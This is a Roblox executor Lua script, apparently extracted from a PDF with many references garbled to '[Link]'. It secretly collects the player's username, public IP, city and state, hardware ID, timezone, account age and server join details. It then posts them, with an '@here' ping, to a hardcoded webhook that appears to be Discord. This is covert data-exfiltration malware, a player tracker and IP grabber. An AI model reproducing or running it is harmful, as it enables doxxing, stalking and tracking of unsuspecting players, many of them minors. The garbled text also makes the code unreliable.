local Players = game:GetService("Players")
local LocalPlayer = [Link]
local Analytics = game:GetService("RbxAnalyticsService")
local HttpService = game:GetService("HttpService")
local MarketplaceService = game:GetService("MarketplaceService")
local Http = http_request or request or HttpPost or [Link]
local Webhook_URL =
"[Link]
cNKkxQRz5NIGCOZOrgXPz_7wghFan_jWoQ8vkGJ_PfTlts"
local Headers = { ['Content-Type'] = 'application/json' }
local logFile = "executor_log.json"
-- Popular timezones
local popularTimezones = {
[-12]="AoE", [-11]="SST", [-10]="HST", [-9]="AKST", [-8]="PST", [-7]="MST",
[-6]="CST", [-5]="EST", [-4]="AST", [-3.5]="NST", [-3]="BRT", [-2]="GST",
[-1]="AZOT", [0]="GMT", [1]="CET", [2]="EET", [3]="MSK", [3.5]="IRST",
[4]="GST", [4.5]="AFT", [5]="PKT", [5.5]="IST", [5.75]="NPT", [6]="BST",
[6.5]="MMT", [7]="WIB", [8]="CST", [8.75]="ACWST", [9]="JST",
[9.5]="ACST", [10]="AEST", [10.5]="ACDT", [11]="AEDT", [12]="NZST",
[12.75]="CHAST", [13]="PHOT", [14]="LINT"
}
-- Safe HTTP GET
local function safeHttpGet(url)
local success, result = pcall(function()
return Http({ Url = url, Method = "GET" })
end)
if success and result and [Link] then
return [Link]
end
return nil
end
-- Timezone
local function getTimezone()
local ok, utcTime = pcall(function() return [Link]([Link]("!*t")) end)
local ok2, localTime = pcall(function() return [Link]([Link]("*t")) end)
if not ok or not ok2 then return "Unknown" end
local diffSeconds = [Link](localTime, utcTime)
local offsetHours = [Link]((diffSeconds / 3600)*2 + 0.5)/2
return popularTimezones[offsetHours] or ("UTC"..(offsetHours>=0 and "+" or
"")..offsetHours)
end
-- Public IP
local function getPublicIP()
local ip = safeHttpGet("[Link]
return ip or "Unknown"
end
-- Location info (city and state only)
local function getLocationInfo(ip)
if ip == "Unknown" then
return "Unknown", "Unknown"
end
local body = safeHttpGet("[Link]
if not body then
return "Unknown", "Unknown"
end
local ok, data = pcall([Link], HttpService, body)
if not ok or not data then
return "Unknown", "Unknown"
end
return [Link] or "Unknown", [Link] or "Unknown"
end
-- HWID
local function getHWID()
local ok, hwid = pcall(function() return Analytics:GetClientId() end)
return ok and hwid or "Unknown"
end
-- Executor detection
local function detectExecutor()
if identifyexecutor then return identifyexecutor()
elseif getexecutorname then return getexecutorname()
elseif syn then return "Synapse X" end
return "Unknown"
end
-- Gather data
local execName = detectExecutor()
local publicIP = getPublicIP()
local city, state = getLocationInfo(publicIP)
local timezone = getTimezone()
local hwid = getHWID()
local accountAge = [Link]
local accountCreation = [Link]("%Y-%m-%d", [Link]() - accountAge * 86400)
local currentDate = [Link]("%Y-%m-%d")
local currentTime = [Link]("%H:%M:%S")
local placeId = [Link]
local jobId = [Link]
local ok, gameInfo = pcall([Link], MarketplaceService,
placeId)
local gameName = ok and [Link] or "Unknown"
local profileLink = "[Link]
local activePlayers = #Players:GetPlayers()
local maxPlayers = [Link]
local playerPing = [Link](LocalPlayer:GetNetworkPing()*1000)
local teleportScript = [Link]([[
```lua
game:GetService("TeleportService"):TeleportToPlaceInstance(%d,"%s",[Link]
alPlayer)```
]], placeId, jobId)
-- Previous log
local previousLog = {}
if isfile(logFile) then
local ok, data = pcall(readfile, logFile)
if ok and data ~= "" then
local ok2, decoded = pcall([Link], HttpService, data)
if ok2 then previousLog = decoded end
end
end
previousLog[[Link]] = (previousLog[[Link]] or 0) + 1
local logEntry = {
Username = [Link],
DisplayName = [Link],
GameName = gameName,
ProfileLink = profileLink,
ServerPlayers = activePlayers.."/"..maxPlayers,
PlayerPingMS = playerPing,
Time = currentDate.." "..currentTime,
HWID = hwid,
IP = publicIP,
City = city,
State = state,
Timezone = timezone,
AccountCreation = accountCreation,
AccountAge = accountAge,
Executor = execName,
Executions = previousLog[[Link]],
TeleportScript = teleportScript
}
previousLog["Logs"] = previousLog["Logs"] or {}
[Link](previousLog["Logs"], logEntry)
pcall(function()
writefile(logFile, HttpService:JSONEncode(previousLog))
end)
-- Webhook
local webhookData = {
content = "@here",
username = [Link],
avatar_url = "[Link]
id=OIP.nJ7S63mDf0rdL9tAEPZjYAHaJQ&pid=Api&P=0&h=220",
embeds = {{
title = "Player Execution Info",
fields = {
{name="Display Name", value=[Link] or "Unknown",
inline=true},
{name="Username", value=[Link] or "Unknown", inline=true},
{name="Game Name", value=gameName or "Unknown", inline=true},
{name="Server Players", value=activePlayers.."/"..maxPlayers,
inline=true},
{name="Player Ping (ms)", value=tostring(playerPing) or "Unknown",
inline=true},
{name="IP Address", value=publicIP or "Unknown", inline=false},
{name="City", value=city or "Unknown", inline=true},
{name="State", value=state or "Unknown", inline=true},
{name="Account Creation", value=accountCreation or "Unknown",
inline=false},
{name="Account Age", value=tostring(accountAge) or "Unknown",
inline=false},
{name="Date", value=currentDate or "Unknown", inline=false},
{name="Time", value=currentTime or "Unknown", inline=false},
{name="Timezone", value=timezone or "Unknown", inline=false},
{name="HWID", value=hwid or "Unknown", inline=false},
{name="Executor", value=execName or "Unknown", inline=true},
{name="Execution Count", value=tostring(previousLog[[Link]])
or "Unknown", inline=true},
{name="Teleport Script", value=teleportScript or "Unknown",
inline=false},
{name="Profile Link", value="[Profile]("..profileLink..")",
inline=false}
}
}}
}
pcall(function()
Http({
Url = Webhook_URL,
Body = HttpService:JSONEncode(webhookData),
Method = "POST",
Headers = Headers
})
end)